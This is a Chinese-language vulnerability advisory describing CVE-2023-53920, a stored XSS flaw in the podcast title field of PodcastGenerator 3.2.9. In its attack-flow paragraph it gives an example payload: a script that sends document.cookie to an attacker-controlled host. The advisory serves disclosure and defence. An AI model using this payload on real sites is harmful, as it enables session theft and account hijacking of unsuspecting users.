CVE-2023-53920CVE-2023-53920是PodcastGenerator 3.2.9版本中存在的一个存储型跨站脚本攻击(Stored XSS)漏洞。该漏洞位于播客标题字段,通过podcast_details.php页面进行访问。攻击者可以在播客标题中注入恶意的JavaScript脚本,当其他用户访问应用程序主页时,这些恶意脚本会自动执行。存储型XSS相比反射型XSS更加危险,因为恶意代码被永久存储在服务器端,所有访问该页面的用户都会受到攻击影响。攻击者可以利用此漏洞窃取用户会话cookie、劫持用户账户、进行钓鱼攻击或传播恶意软件。由于该漏洞需要低权限用户即可实施,且需要用户交互才能触发,因此在CVSS评分中Confidentiality和Integrity影响评级为低。PodcastGenerator是一款开源的播客生成和管理软件,广泛应用于个人和组织的播客内容管理场景中。
该存储型XSS漏洞源于PodcastGenerator 3.2.9版本对用户输入的播客标题字段缺乏充分的输入验证和输出编码。攻击流程如下:首先,攻击者以低权限用户身份登录PodcastGenerator系统,访问podcast_details.php页面;在播客标题输入框中注入恶意JavaScriptPayload,例如:<script>document.location='https://attacker.com/steal?c='+document.cookie</script>;系统将该恶意标题未经适当转义直接存储到数据库中;当其他用户访问应用主页时,服务器从数据库读取包含恶意脚本的播客标题,并在HTML响应中直接输出;浏览器将恶意JavaScript代码作为合法脚本执行,从而窃取用户敏感信息或执行攻击者指定的操作。漏洞的根本原因是应用程序在处理用户输入时未遵循安全编码最佳实践,未对特殊字符进行HTML实体编码。